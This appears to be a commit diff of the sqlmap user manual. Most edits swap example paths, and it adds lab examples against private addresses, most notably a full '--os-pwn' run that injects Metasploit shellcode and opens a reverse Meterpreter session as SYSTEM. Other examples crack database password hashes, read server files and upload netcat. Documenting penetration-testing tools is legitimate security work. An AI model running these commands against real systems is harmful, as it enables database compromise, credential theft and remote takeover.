@@ -1707,7 +1707,7 @@ <H3>Tamper injection data</H3>
17071707< BLOCKQUOTE > < CODE >
17081708< PRE >
17091709$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
1710- tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
1710+ tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
17111711
17121712[hh:mm:03] [DEBUG] cleaning up configuration parameters
17131713[hh:mm:03] [INFO] loading tamper script 'between'
@@ -2005,8 +2005,8 @@ <H3>List and crack database management system users password hashes</H3>
20052005[hh:mm:38] [INFO] fetching database users password hashes
20062006do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
20072007[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
2008- what's the dictionary's location? [/tmp /sqlmap/txt/wordlist.txt]
2009- [hh:mm:46] [INFO] loading dictionary from: '/tmp /sqlmap/txt/wordlist.txt'
2008+ what's the dictionary's location? [/software /sqlmap/txt/wordlist.txt]
2009+ [hh:mm:46] [INFO] loading dictionary from: '/software /sqlmap/txt/wordlist.txt'
20102010do you want to use common password suffixes? (slow!) [y/N] n
20112011[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
20122012[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
@@ -2364,6 +2364,39 @@ <H3>Brute force tables names</H3>
23642364< P > The list of common table names is < CODE > txt/common-tables.txt</ CODE > and you
23652365can edit it as you wish.</ P >
23662366
2367+ < P > Example against a MySQL 4.1 target:</ P >
2368+ < P >
2369+ < BLOCKQUOTE > < CODE >
2370+ < PRE >
2371+ $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
2372+ --common-tables -D testdb --banner
2373+
2374+ [...]
2375+ [hh:mm:39] [INFO] testing MySQL
2376+ [hh:mm:39] [INFO] confirming MySQL
2377+ [hh:mm:40] [INFO] the back-end DBMS is MySQL
2378+ [hh:mm:40] [INFO] fetching banner
2379+ web server operating system: Windows
2380+ web application technology: PHP 5.3.1, Apache 2.2.14
2381+ back-end DBMS operating system: Windows
2382+ back-end DBMS: MySQL < 5.0.0
2383+ banner: '4.1.21-community-nt'
2384+
2385+ [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
2386+ [hh:mm:40] [INFO] adding words used on web page to the check list
2387+ please enter number of threads? [Enter for 1 (current)] 8
2388+ [hh:mm:43] [INFO] retrieved: users
2389+ [hh:mm:56] [INFO] retrieved: Users
2390+
2391+ Database: testdb
2392+ [1 table]
2393+ +-------+
2394+ | users |
2395+ +-------+
2396+ </ PRE >
2397+ </ CODE > </ BLOCKQUOTE >
2398+ </ P >
2399+
23672400
23682401< H3 > Brute force columns names</ H3 >
23692402
@@ -2461,7 +2494,7 @@ <H3>Read a file from the database server's file system</H3>
24612494
24622495[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
24632496[hh:mm:50] [INFO] the SQL query provided returns 3 entries
2464- C:/example.exe file saved to: '/tmp /sqlmap/output/192.168.136.129/files/C__example.exe'
2497+ C:/example.exe file saved to: '/software /sqlmap/output/192.168.136.129/files/C__example.exe'
24652498[...]
24662499
24672500$ ls -l output/192.168.136.129/files/C__example.exe
@@ -2493,14 +2526,14 @@ <H3>Upload a file to the database server's file system</H3>
24932526< P >
24942527< BLOCKQUOTE > < CODE >
24952528< PRE >
2496- $ file /tmp /nc.exe.packed
2497- /tmp /nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
2529+ $ file /software /nc.exe.packed
2530+ /software /nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
24982531
2499- $ ls -l /tmp /nc.exe.packed
2500- -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp /nc.exe.packed
2532+ $ ls -l /software /nc.exe.packed
2533+ -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software /nc.exe.packed
25012534
25022535$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
2503- "/tmp /nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
2536+ "/software /nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
25042537
25052538[...]
25062539[hh:mm:29] [INFO] the back-end DBMS is MySQL
@@ -2513,7 +2546,7 @@ <H3>Upload a file to the database server's file system</H3>
25132546written on the back-end DBMS file system? [Y/n] y
25142547[hh:mm:52] [INFO] retrieved: 31744
25152548[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
2516- same size as the local file '/tmp /nc.exe.packed'
2549+ same size as the local file '/software /nc.exe.packed'
25172550</ PRE >
25182551</ CODE > </ BLOCKQUOTE >
25192552</ P >
@@ -2583,8 +2616,8 @@ <H3>Run arbitrary operating system command</H3>
25832616</ P >
25842617
25852618< P > It is also possible to simulate a real shell where you can type as many
2586- arbitrary commands as you wish. The option is < CODE > -</ CODE > < CODE > -os-shell</ CODE > and has
2587- the same TAB completion and history functionalities that
2619+ arbitrary commands as you wish. The option is < CODE > -</ CODE > < CODE > -os-shell</ CODE >
2620+ and has the same TAB completion and history functionalities that
25882621< CODE > -</ CODE > < CODE > -sql-shell</ CODE > has.</ P >
25892622
25902623< P > Where stacked queries has not been identified on the web application
@@ -2662,11 +2695,108 @@ <H3>Out-of-band stateful connection: Meterpreter & friends</H3>
26622695< P >
26632696< BLOCKQUOTE > < CODE >
26642697< PRE >
2665- $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int_51 .aspx?id=1" \
2666- --os-pwn -v 1 -- msf-path /tmp /metasploit
2698+ $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55 .aspx?id=1" --os-pwn \
2699+ --msf-path /software /metasploit
26672700
26682701[...]
2669- TODO
2702+ [hh:mm:31] [INFO] the back-end DBMS is MySQL
2703+ web server operating system: Windows 2003
2704+ web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
2705+ back-end DBMS: MySQL 5.0
2706+ [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
2707+ [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
2708+ how do you want to establish the tunnel?
2709+ [1] TCP: Metasploit Framework (default)
2710+ [2] ICMP: icmpsh - ICMP tunneling
2711+ >
2712+ [hh:mm:32] [INFO] testing if current user is DBA
2713+ [hh:mm:32] [INFO] fetching current user
2714+ what is the back-end database management system architecture?
2715+ [1] 32-bit (default)
2716+ [2] 64-bit
2717+ >
2718+ [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
2719+ [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
2720+ [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
2721+ [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
2722+ [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
2723+ [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
2724+ how do you want to execute the Metasploit shellcode on the back-end database underlying
2725+ operating system?
2726+ [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
2727+ [2] Stand-alone payload stager (file system way)
2728+ >
2729+ [hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
2730+ which connection type do you want to use?
2731+ [1] Reverse TCP: Connect back from the database host to this machine (default)
2732+ [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
2733+ between the specified and 65535
2734+ [3] Bind TCP: Listen on the database host for a connection
2735+ >
2736+ which is the local address? [192.168.136.1]
2737+ which local port number do you want to use? [60641]
2738+ which payload do you want to use?
2739+ [1] Meterpreter (default)
2740+ [2] Shell
2741+ [3] VNC
2742+ >
2743+ [hh:mm:40] [INFO] creation in progress ... done
2744+ [hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
2745+
2746+ _
2747+ | | o
2748+ _ _ _ _ _|_ __, , _ | | __ _|_
2749+ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
2750+ | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
2751+ /|
2752+ \|
2753+
2754+
2755+ =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
2756+ + -- --=[ 674 exploits - 351 auxiliary
2757+ + -- --=[ 217 payloads - 27 encoders - 8 nops
2758+ =[ svn r12272 updated 4 days ago (2011.04.07)
2759+
2760+ PAYLOAD => windows/meterpreter/reverse_tcp
2761+ EXITFUNC => thread
2762+ LPORT => 60641
2763+ LHOST => 192.168.136.1
2764+ [*] Started reverse handler on 192.168.136.1:60641
2765+ [*] Starting the payload handler...
2766+ [hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
2767+ please wait..
2768+ [*] Sending stage (749056 bytes) to 192.168.136.129
2769+ [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
2770+ hh:mm:52 +0100 2011
2771+
2772+ meterpreter > Loading extension espia...success.
2773+ meterpreter > Loading extension incognito...success.
2774+ meterpreter > [-] The 'priv' extension has already been loaded.
2775+ meterpreter > Loading extension sniffer...success.
2776+ meterpreter > System Language : en_US
2777+ OS : Windows .NET Server (Build 3790, Service Pack 2).
2778+ Computer : W2K3R2
2779+ Architecture : x86
2780+ Meterpreter : x86/win32
2781+ meterpreter > Server username: NT AUTHORITY\SYSTEM
2782+ meterpreter > ipconfig
2783+
2784+ MS TCP Loopback interface
2785+ Hardware MAC: 00:00:00:00:00:00
2786+ IP Address : 127.0.0.1
2787+ Netmask : 255.0.0.0
2788+
2789+
2790+
2791+ Intel(R) PRO/1000 MT Network Connection
2792+ Hardware MAC: 00:0c:29:fc:79:39
2793+ IP Address : 192.168.136.129
2794+ Netmask : 255.255.255.0
2795+
2796+
2797+ meterpreter > exit
2798+
2799+ [*] Meterpreter session 1 closed. Reason: User exit
26702800</ PRE >
26712801</ CODE > </ BLOCKQUOTE >
26722802</ P >
@@ -2987,7 +3117,7 @@ <H3>Replicate dumped data into a sqlite3 database</H3>
29873117
29883118< P > You can then use sqlmap itself to read and query the locally created
29893119SQLite 3 file. For instance, < CODE > python sqlmap.py -d
2990- sqlite:///tmp /sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</ CODE > .</ P >
3120+ sqlite:///software /sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</ CODE > .</ P >
29913121
29923122
29933123< H3 > Simple wizard interface for beginner users</ H3 >
0 commit comments